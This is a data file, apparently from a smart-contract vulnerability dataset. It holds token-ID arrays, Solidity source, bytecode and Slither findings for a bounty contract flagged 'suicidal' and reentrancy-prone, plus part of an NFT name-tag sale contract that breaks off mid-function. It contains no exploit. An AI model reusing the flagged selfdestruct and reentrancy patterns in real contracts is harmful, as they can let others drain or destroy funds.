[ 101, 1014, 2595, 2683, 2581, 2509, 10354, 2278, 12740, 22025, 2509, 2546, 2692, 21084, 27009, 21472, 2549, 2278, 2692, 3207, 2278, 2629, 16409, 27009, 27531, 2278, 10790, 23499, 14526, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,723
0x973c2178b09225d1de3ab037d40b3f24af696255
contract SHA3_512 { function hash(uint64[8]) pure public returns(uint32[16]) {} } contract TeikhosBounty { address public bipedaljoe = 0x4c5D24A7Ca972aeA90Cc040DA6770A13Fc7D4d9A; // In case no one submits the correct solution, the bounty is sent to me SHA3_512 public sha3_512 = SHA3_512(0xbD6361cC42fD113ED9A9fdbEDF7eea27b325a222); // Mainnet: 0xbD6361cC42fD113ED9A9fdbEDF7eea27b325a222, // Rinkeby: 0x2513CF99E051De22cEB6cf5f2EaF0dc4065c8F1f struct Commit { uint timestamp; bytes signature; } mapping(address => Commit) public commitment; struct Solution { uint timestamp; bytes publicKey; // The key that solves the bounty, empty until the correct key has been submitted with authenticate() bytes32 msgHash; } Solution public isSolved; struct Winner { uint timestamp; address winner; } Winner public winner; enum State { Commit, Reveal, Payout } modifier inState(State _state) { if(_state == State.Commit) { require(isSolved.timestamp == 0); } if(_state == State.Reveal) { require(isSolved.timestamp != 0 && now < isSolved.timestamp + 7 days); } if(_state == State.Payout) { require(isSolved.timestamp != 0 && now > isSolved.timestamp + 7 days); } _; } // Proof-of-public-key in format 2xbytes32, to support xor operator and ecrecover r, s v format bytes32 public proof_of_public_key1 = hex"7b5f8ddd34df50d24e492bbee1a888122c1579e898eaeb6e0673156a1b97c24b"; bytes32 public proof_of_public_key2 = hex"26d64a34756bd684766dce3e6a8e8695a14a2b16d001559f4ae3a0849ac127fe"; function commit(bytes _signature) public inState(State.Commit) { require(commitment[msg.sender].timestamp == 0); commitment[msg.sender].signature = _signature; commitment[msg.sender].timestamp = now; } function reveal() public inState(State.Reveal) { bytes memory signature = commitment[msg.sender].signature; require(signature.length != 0); bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature,0x20)) s := mload(add(signature,0x40)) v := byte(0, mload(add(signature, 96))) } if (v < 27) v += 27; if(ecrecover(isSolved.msgHash, v, r, s) == msg.sender) { if(winner.timestamp == 0 || commitment[msg.sender].timestamp < winner.timestamp) { winner.winner = msg.sender; winner.timestamp = commitment[msg.sender].timestamp; } } delete commitment[msg.sender]; } function reward() public inState(State.Payout) { if(winner.winner != 0) selfdestruct(winner.winner); else selfdestruct(bipedaljoe); } function authenticate(bytes _publicKey) public inState(State.Commit) { // Remind people to commit before submitting the solution require(commitment[msg.sender].timestamp != 0); bytes memory keyHash = getHash(_publicKey); // Split hash of public key in 2xbytes32, to support xor operator and ecrecover r, s v format bytes32 hash1; bytes32 hash2; assembly { hash1 := mload(add(keyHash,0x20)) hash2 := mload(add(keyHash,0x40)) } // Use xor (reverse cipher) to get signature in r, s v format bytes32 r = proof_of_public_key1 ^ hash1; bytes32 s = proof_of_public_key2 ^ hash2; // Get msgHash for use with ecrecover bytes32 msgHash = keccak256("\x19Ethereum Signed Message:\n64", _publicKey); // Get address from public key address signer = address(keccak256(_publicKey)); // The value v is not known, try both 27 and 28 if(ecrecover(msgHash, 27, r, s) == signer || ecrecover(msgHash, 28, r, s) == signer ) { isSolved.timestamp = now; isSolved.publicKey = _publicKey; isSolved.msgHash = msgHash; } } // A separate method getHash() for converting bytes to uint64[8], which is done since the EVM cannot pass bytes between contracts // The SHA3_512 logic is in a separate contract to make it easier to read, that contract could be audited on its own, and so on function getHash(bytes _message) view internal returns (bytes messageHash) { // Use SHA3_512 library to get a sha3_512 hash of public key uint64[8] memory input; // The evm is big endian, have to reverse the bytes bytes memory reversed = new bytes(64); for(uint i = 0; i < 64; i++) { reversed[i] = _message[63 - i]; } for(i = 0; i < 8; i++) { bytes8 oneEigth; // Load 8 byte from reversed public key at position 32 + i * 8 assembly { oneEigth := mload(add(reversed, add(32, mul(i, 8)))) } input[7 - i] = uint64(oneEigth); } uint32[16] memory output = sha3_512.hash(input); bytes memory toBytes = new bytes(64); for(i = 0; i < 16; i++) { bytes4 oneSixteenth = bytes4(output[15 - i]); // Store 4 byte in keyHash at position 32 + i * 4 assembly { mstore(add(toBytes, add(32, mul(i, 4))), oneSixteenth) } } messageHash = new bytes(64); for(i = 0; i < 64; i++) { messageHash[i] = toBytes[63 - i]; } } // Make it possible to send ETH to the contract with "payable" on the fallback function function() public payable {} }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063178c4e40146100b1578063228cb733146100e257806364d98f6e146100f757806366fd3cd81461019b578063a1bc7a8f146101f8578063a475b5dd1461024d578063b18f0de214610262578063cc0bb8e51461031b578063d56a0a881461034c578063dfbf53ae146103a1578063ee0d605c146103fd575b005b34156100bc57600080fd5b6100c461045a565b60405180826000191660001916815260200191505060405180910390f35b34156100ed57600080fd5b6100f5610460565b005b341561010257600080fd5b61010a6105e6565b60405180848152602001806020018360001916600019168152602001828103825284818151815260200191508051906020019080838360005b8381101561015e578082015181840152602081019050610143565b50505050905090810190601f16801561018b5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34156101a657600080fd5b6101f6600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610696565b005b341561020357600080fd5b61020b610851565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561025857600080fd5b610260610877565b005b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c6a565b6040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156102df5780820151818401526020810190506102c4565b50505050905090810190601f16801561030c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b341561032657600080fd5b61032e610d26565b60405180826000191660001916815260200191505060405180910390f35b341561035757600080fd5b61035f610d2c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ac57600080fd5b6103b4610d51565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b341561040857600080fd5b610458600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610d83565b005b60085481565b60026000600281111561046f57fe5b81600281111561047b57fe5b141561049657600060036000015414151561049557600080fd5b5b600160028111156104a357fe5b8160028111156104af57fe5b14156104e0576000600360000154141580156104d4575062093a806003600001540142105b15156104df57600080fd5b5b6002808111156104ec57fe5b8160028111156104f857fe5b14156105295760006003600001541415801561051d575062093a806003600001540142115b151561052857600080fd5b5b6000600660010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156105ac57600660010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6003806000015490806001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106865780601f1061065b57610100808354040283529160200191610686565b820191906000526020600020905b81548152906001019060200180831161066957829003601f168201915b5050505050908060020154905083565b60008060028111156106a457fe5b8160028111156106b057fe5b14156106cb5760006003600001541415156106ca57600080fd5b5b600160028111156106d857fe5b8160028111156106e457fe5b141561071557600060036000015414158015610709575062093a806003600001540142105b151561071457600080fd5b5b60028081111561072157fe5b81600281111561072d57fe5b141561075e57600060036000015414158015610752575062093a806003600001540142115b151561075d57600080fd5b5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415156107af57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101908051906020019061080592919061151a565b5042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61087f61159a565b600080600060016000600281111561089357fe5b81600281111561089f57fe5b14156108ba5760006003600001541415156108b957600080fd5b5b600160028111156108c757fe5b8160028111156108d357fe5b1415610904576000600360000154141580156108f8575062093a806003600001540142105b151561090357600080fd5b5b60028081111561091057fe5b81600281111561091c57fe5b141561094d57600060036000015414158015610941575062093a806003600001540142115b151561094c57600080fd5b5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a235780601f106109f857610100808354040283529160200191610a23565b820191906000526020600020905b815481529060010190602001808311610a0657829003601f168201915b505050505094506000855114151515610a3b57600080fd5b6020850151935060408501519250606085015160001a9150601b8260ff161015610a6657601b820191505b3373ffffffffffffffffffffffffffffffffffffffff166001600360020154848787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af11515610af357600080fd5b50506020604051035173ffffffffffffffffffffffffffffffffffffffff161415610c095760006006600001541480610b725750600660000154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154105b15610c085733600660010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546006600001819055505b5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000610c6191906115ae565b50505050505050565b6002602052806000526040600020600091509050806000015490806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d1c5780601f10610cf157610100808354040283529160200191610d1c565b820191906000526020600020905b815481529060010190602001808311610cff57829003601f168201915b5050505050905082565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b610d8b61159a565b6000806000806000806000806002811115610da257fe5b816002811115610dae57fe5b1415610dc9576000600360000154141515610dc857600080fd5b5b60016002811115610dd657fe5b816002811115610de257fe5b1415610e1357600060036000015414158015610e07575062093a806003600001540142105b1515610e1257600080fd5b5b600280811115610e1f57fe5b816002811115610e2b57fe5b1415610e5c57600060036000015414158015610e50575062093a806003600001540142115b1515610e5b57600080fd5b5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414151515610eae57600080fd5b610eb789611161565b9750602088015196506040880151955086600854189450856009541893508860405180807f19457468657265756d205369676e6564204d6573736167653a0a363400000000815250601c0182805190602001908083835b602083101515610f335780518252602082019150602081019050602083039250610f0e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250886040518082805190602001908083835b602083101515610f985780518252602082019150602081019050602083039250610f73565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206001900491508173ffffffffffffffffffffffffffffffffffffffff16600184601b8888604051600081526020016040526040518085600019166000191681526020018460ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1151561105157600080fd5b50506020604051035173ffffffffffffffffffffffffffffffffffffffff16148061111e57508173ffffffffffffffffffffffffffffffffffffffff16600184601c8888604051600081526020016040526040518085600019166000191681526020018460ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af115156110fd57600080fd5b50506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b156111565742600360000181905550886003600101908051906020019061114692919061151a565b5082600360020181600019169055505b505050505050505050565b61116961159a565b6111716115f6565b61117961159a565b600080611184611629565b61118c61159a565b60006040805180591061119c5750595b9080825280601f01601f19166020018201604052509550600094505b6040851015611268578885603f038151811015156111d257fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002868681518110151561122b57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535084806001019550506111b8565b600094505b60088510156112dc57600885026020018601519350837801000000000000000000000000000000000000000000000000900487866007036008811015156112b057fe5b602002019067ffffffffffffffff16908167ffffffffffffffff1681525050848060010195505061126d565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ab91b3a886040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600860200280838360005b83811015611371578082015181840152602081019050611356565b5050505090500191505061020060405180830381600087803b151561139557600080fd5b5af115156113a257600080fd5b50505060405180610200016040529250604080518059106113c05750595b9080825280601f01601f19166020018201604052509150600094505b6010851015611434578285600f036010811015156113f657fe5b60200201517c0100000000000000000000000000000000000000000000000000000000029050806004860260200183015284806001019550506113dc565b604080518059106114425750595b9080825280601f01601f19166020018201604052509750600094505b604085101561150e578185603f0381518110151561147857fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000288868151811015156114d157fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350848060010195505061145e565b50505050505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061155b57805160ff1916838001178555611589565b82800160010185558215611589579182015b8281111561158857825182559160200191906001019061156d565b5b5090506115969190611658565b5090565b602060405190810160405280600081525090565b50805460018160011615610100020316600290046000825580601f106115d457506115f3565b601f0160209004906000526020600020908101906115f29190611658565b5b50565b610100604051908101604052806008905b600067ffffffffffffffff168152602001906001900390816116075790505090565b610200604051908101604052806010905b600063ffffffff1681526020019060019003908161163a5790505090565b61167a91905b8082111561167657600081600090555060010161165e565b5090565b905600a165627a7a723058203e047ae964f2fff749c6de10ddfb64c4e1db363056c7f6d364636602b9cf4e960029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'suicidal', 'impact': 'High', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2509, 2278, 17465, 2581, 2620, 2497, 2692, 2683, 19317, 2629, 2094, 2487, 3207, 2509, 7875, 2692, 24434, 2094, 12740, 2497, 2509, 2546, 18827, 10354, 2575, 2683, 2575, 17788, 2629, 3206, 21146, 2509, 1035, 24406, 1063, 3853, 23325, 1006, 21318, 3372, 21084, 1031, 1022, 1033, 1007, 5760, 2270, 5651, 1006, 21318, 3372, 16703, 1031, 2385, 1033, 1007, 1063, 1065, 1065, 3206, 8915, 28209, 2891, 5092, 16671, 2100, 1063, 4769, 2270, 12170, 5669, 2389, 5558, 2063, 1027, 1014, 2595, 2549, 2278, 2629, 2094, 18827, 2050, 2581, 3540, 2683, 2581, 2475, 21996, 21057, 9468, 2692, 12740, 2850, 2575, 2581, 19841, 27717, 2509, 11329, 2581, 2094, 2549, 2094, 2683, 2050, 1025, 1013, 1013, 1999, 2553, 2053, 2028, 12040, 2015, 1996, 6149, 5576, 1010, 1996, 17284, 2003, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,724
0x973Cc91CA50B4740ae1B33adB1E164A8D69D7D9c
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; interface IExternalAllowedContract { /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface INameTagV1 is IERC721Enumerable { struct Wave { uint256 limit; uint256 startTime; } event NameChanged(uint256 indexed tokenId, string from, string to); function currentWaveIndex() external view returns (uint8); function currentLimit() external view returns (uint256); function currentWave() external view returns (uint256, uint256); function waveByIndex(uint8 waveIndex_) external view returns (uint256, uint256); function price() external view returns (uint256); function tokenAmountBuyLimit() external view returns (uint8); function metadataFee() external view returns (uint256); function defaultMetadata() external view returns (string memory); function defaultNamedMetadata() external view returns (string memory); function metadataRole() external view returns (address); function changeMetadataRole(address newAddress) external; function setMetadataFee(uint256 metadataFee_) external; function setDefaultMetadata(string memory metadata_) external; function setDefaultNamedMetadata(string memory metadata_) external; function setMetadata(uint256 tokenId, string memory _metadata) external; function setMetadataList(uint256[] memory _tokens, string[] memory _metadata) external; function setTokenAmountBuyLimit(uint8 tokenAmountBuyLimit_) external; function setBaseURI(string memory baseURI_) external; function setWaveStartTime(uint8 waveIndex_, uint256 startTime_) external; function setPrice(uint256 price_) external; function withdraw(address payable wallet, uint256 amount) external; function addDenyList(string[] memory _words) external; function removeDenyList(string[] memory _words) external; function tokenURI(uint256 tokenId) external view returns (string memory); function getByName(string memory name) external view returns (uint256); function getTokenName(uint256 tokenId) external view returns (string memory); function buyNamedTokens(string[] memory _names) external payable returns (uint256[] memory); function buyTokens() external payable returns (uint256[] memory); function buyNamedToken(string memory _name) external payable returns (uint256); function buyToken(string memory _name) external payable returns (uint256); function setNames(uint256[] memory _tokens, string[] memory _names) external payable returns (bool[] memory); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() external view returns (address); function renounceOwnership() external; function transferOwnership(address newOwner) external; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "./StringUpper.sol"; import "./INameTagV1.sol"; import "./IExternalAllowedContract.sol"; contract NameTag is ERC721Enumerable, Ownable, StringUpper, ReentrancyGuard { using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allowList; struct AllowParams { uint256 price; uint8 limit; uint8 purchasedAmount; } mapping(address => AllowParams) public allowListParams; event AddedToAllowList(address indexed _address, uint256 indexed _price, uint8 _limit); event RemovedFromAllowList(address indexed _address, uint8 _purchasedAmount); EnumerableSet.AddressSet private _allowContractList; struct AllowContractParams { uint256 price; uint8 limit; uint256 minBalance; uint256 purchasedAmount; mapping(address => uint8) purchasedAmountByAddress; } mapping(address => AllowContractParams[]) public allowContractListParams; event AddedToAllowContractList(address indexed _address, uint256 indexed _price, uint8 _limit, uint256 _minBalance); event RemovedFromAllowContractList(address indexed _address, uint256 _purchasedAmount); event PresaleContractPurchase(address indexed _contract, address indexed _address, uint256 _purchasedAmount); uint16 public addToAllowListLimit; uint16 public removeFromAllowListLimit; mapping (string => bool) denyList; event AddedDenyList(string _word); event RemovedDenyList(string _word); bool public presaleActive; uint256 public presaleDuration; uint256 public presaleStartTime; event PresaleStart(uint256 indexed _presaleDuration, uint256 indexed _presaleStartTime); event PresalePaused(uint256 indexed _timeElapsed, uint256 indexed _totalSupply); bool public saleActive; uint8 public saleTransactionLimit; uint256 public salePrice; uint256 public saleSupply; uint256 public saleLimit; event SaleStart(uint256 indexed _saleStartTime, uint256 indexed _salePrice, uint8 _saleTransactionLimit); event SalePaused(uint256 indexed _salePauseTime, uint256 indexed _totalSupply); event SaleLimitUpdated(uint256 indexed _limitStartTime, uint256 indexed _saleLimit); modifier whenPresaleActive() { require(presaleActive, "NT: Presale is not active"); _; } modifier whenPresalePaused() { require(!presaleActive, "NT: Presale is not paused"); _; } modifier whenSaleActive() { require(saleActive, "NT: Sale is not active"); _; } modifier whenSalePaused() { require(!saleActive, "NT: Sale is not paused"); _; } modifier whenAnySaleActive() { require(presaleActive || saleActive, "NT: Any sale is terminated"); _; } mapping(uint256 => string) tokenNames; mapping(string => uint256) names; event NameChanged(uint256 indexed tokenId, string from, string to); string private _baseTokenURI; INameTagV1 immutable _token; bool public validateNameTagV1; constructor( string memory name_, string memory symbol_, string memory baseURI_, uint16 addToAllowListLimit_, uint16 removeFromAllowListLimit_, INameTagV1 token_, bool validateNameTagV1_ ) ERC721(name_, symbol_) { _baseTokenURI = baseURI_; addToAllowListLimit = addToAllowListLimit_; removeFromAllowListLimit = removeFromAllowListLimit_; _token = token_; validateNameTagV1 = validateNameTagV1_; } function token() external view returns(address) { return address(_token); } function setValidateNameTagV1(bool validateNameTagV1_) external onlyOwner { validateNameTagV1 = validateNameTagV1_; } function setBaseURI(string memory baseURI_) external onlyOwner { _baseTokenURI = baseURI_; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setAddToAllowListLimit(uint16 addToAllowListLimit_) external onlyOwner { addToAllowListLimit = addToAllowListLimit_; } function setRemoveFromAllowListLimit(uint16 removeFromAllowListLimit_) external onlyOwner { removeFromAllowListLimit = removeFromAllowListLimit_; } function addToAllowList( address[] memory addresses, uint256[] memory prices, uint8[] memory limits ) external onlyOwner { uint256 length = addresses.length; require(length <= addToAllowListLimit, "NT: List of addresses is too large"); require(length == prices.length && length == limits.length, "NT: All lists should be the same length"); for(uint index = 0; index < length; index += 1) { _allowList.add(addresses[index ]); allowListParams[addresses[index]] = AllowParams(prices[index], limits[index], 0); emit AddedToAllowList(addresses[index], prices[index], limits[index]); } } function removeFromAllowList(address[] memory addresses) external onlyOwner { require(addresses.length <= removeFromAllowListLimit, "NT: List of addresses is too large"); for(uint index = 0; index < addresses.length; index += 1) { if (_allowList.remove(addresses[index])) { emit RemovedFromAllowList(addresses[index], allowListParams[addresses[index]].purchasedAmount); delete allowListParams[addresses[index]]; } } } function inAllowList(address value) public view returns (bool) { return _allowList.contains(value); } function allowListLength() external view returns (uint256) { return _allowList.length(); } function allowAddressByIndex(uint256 index) external view returns (address) { require(index < _allowList.length(), "NT: Index out of bounds"); return _allowList.at(index); } function checkContract(address _contract) external view returns (bool) { return IExternalAllowedContract(_contract).balanceOf(owner()) >= 0; } function addToAllowContractList( address[] memory addresses, uint256[] memory prices, uint8[] memory limits, uint256[] memory balances ) external onlyOwner { uint256 length = addresses.length; require(length <= addToAllowListLimit, "NT: List of addresses is too large"); require(length == prices.length && length == limits.length && length == balances.length, "NT: All lists should be the same length"); for(uint index = 0; index < length; index += 1) { require(IExternalAllowedContract(addresses[index]).balanceOf(msg.sender) >= 0, "NT: Cannot call balanceOf method on the external contract"); _allowContractList.add(addresses[index]); AllowContractParams storage params = allowContractListParams[addresses[index]].push(); params.price = prices[index]; params.limit = limits[index]; params.minBalance = balances[index]; emit AddedToAllowContractList(addresses[index], prices[index], limits[index], balances[index]); } } function removeFromAllowContractList(address[] memory addresses) external onlyOwner { require(addresses.length <= removeFromAllowListLimit, "NT: List of addresses is too large"); for(uint index = 0; index < addresses.length; index += 1) { if (_allowContractList.remove(addresses[index])) { uint version = _contractParamsVersion(addresses[index]) - 1; emit RemovedFromAllowContractList(addresses[index], allowContractListParams[addresses[index]][version].purchasedAmount); } } } function inAllowContractList(address value) public view returns (bool) { return _allowContractList.contains(value); } function allowContractListLength() external view returns (uint256) { return _allowContractList.length(); } function allowContractAddressByIndex(uint256 index) external view returns (address) { require(index < _allowContractList.length(), "NT: Index out of bounds"); return _allowContractList.at(index); } function _contractParamsVersion(address _contract) internal view returns(uint) { return allowContractListParams[_contract].length; } function contractParamsVersion(address _contract) external view returns(uint) { require(inAllowContractList(_contract), "NT: Contract address is not in the allowed list"); return _contractParamsVersion(_contract); } function allowContractParams(address _contract) external view returns (uint256, uint8, uint256, uint256) { require(inAllowContractList(_contract), "NT: Contract address is not in the allowed list"); uint version = _contractParamsVersion(_contract) - 1; return ( allowContractListParams[_contract][version].price, allowContractListParams[_contract][version].limit, allowContractListParams[_contract][version].minBalance, allowContractListParams[_contract][version].purchasedAmount ); } function contractPurchasedAmountByAddress(address _contract, address owner) external view returns(uint8) { require(inAllowContractList(_contract), "NT: Contract address is not in the allowed list"); return allowContractListParams[_contract][_contractParamsVersion(_contract) - 1].purchasedAmountByAddress[owner]; } function addDenyList(string[] memory _words) external onlyOwner { for(uint index = 0; index < _words.length; index+=1) { denyList[upper(_words[index])] = true; emit AddedDenyList(_words[index]); } } function removeDenyList(string[] memory _words) external onlyOwner { for(uint index = 0; index < _words.length; index+=1) { denyList[upper(_words[index])] = false; emit RemovedDenyList(_words[index]); } } function inDenyList(string memory _word) external view returns (bool) { return bool(denyList[upper(_word)]); } function startPresale(uint256 presaleDuration_) external onlyOwner whenPresalePaused { presaleStartTime = block.timestamp; presaleDuration = presaleDuration_; presaleActive = true; emit PresaleStart(presaleDuration, presaleStartTime); } function pausePresale() external onlyOwner whenPresaleActive { presaleActive = false; emit PresalePaused(_elapsedPresaleTime(), totalSupply()); } function _setSaleLimit(uint256 saleLimit_) internal { saleSupply = 0; saleLimit = saleLimit_; emit SaleLimitUpdated(block.timestamp, saleLimit); } function setSaleLimit(uint256 saleLimit_) external onlyOwner { _setSaleLimit(saleLimit_); } function startPublicSale( uint256 salePrice_, uint8 saleTransactionLimit_, uint256 saleLimit_ ) external onlyOwner whenSalePaused { salePrice = salePrice_; saleTransactionLimit = saleTransactionLimit_; _setSaleLimit(saleLimit_); saleActive = true; emit SaleStart(block.timestamp, salePrice, saleTransactionLimit); } function pausePublicSale() external onlyOwner whenSaleActive { saleActive = false; emit SalePaused(totalSupply(), block.timestamp); } function _elapsedPresaleTime() internal view returns (uint256) { return presaleStartTime > 0 ? block.timestamp - presaleStartTime : 0; } function _remainingPresaleTime() internal view returns (uint256) { if (presaleStartTime == 0 || _elapsedPresaleTime() >= presaleDuration) { return 0; } return (presaleStartTime + presaleDuration) - block.timestamp; } function remainingPresaleTime() external view whenPresaleActive returns (uint256) { require(presaleStartTime > 0, "NT: Presale hasn't started yet"); return _remainingPresaleTime(); } function _preValidatePurchase(uint256 tokensAmount) internal view returns(bool) { require(msg.sender != address(0)); require(tokensAmount > 0, "NT: Must mint at least one token"); if ( presaleActive && _remainingPresaleTime() > 0 && inAllowList(msg.sender) && tokensAmount + allowListParams[msg.sender].purchasedAmount <= allowListParams[msg.sender].limit ) { require(allowListParams[msg.sender].price * tokensAmount <= msg.value, "NT: Presale, insufficient funds"); return true; } require(saleActive, "NT: Sale is not active"); if (saleLimit > 0) { // Sale is unlimited if saleLimit == 0 require(tokensAmount + saleSupply <= saleLimit, "NT: Limited amount of tokens"); } require(tokensAmount <= saleTransactionLimit, "NT: Limited amount of tokens in transaction"); require(salePrice * tokensAmount <= msg.value, "NT: Insufficient funds"); return false; } function _processPurchaseToken(address recipient) internal returns (uint256) { uint256 newItemId = totalSupply() + 1; _safeMint(recipient, newItemId); return newItemId; } function _buyTokens(string[] memory _names) internal returns (uint256[] memory) { uint256[] memory tokens = new uint256[](_names.length); for (uint index = 0; index < _names.length; index += 1) { tokens[index] = _processPurchaseToken(msg.sender); require(_setName(tokens[index], _names[index]), "NT: Name cannot be assigned"); } return tokens; } function buyTokens(string[] memory _names) external payable whenAnySaleActive nonReentrant returns (uint256[] memory) { bool usePresale = 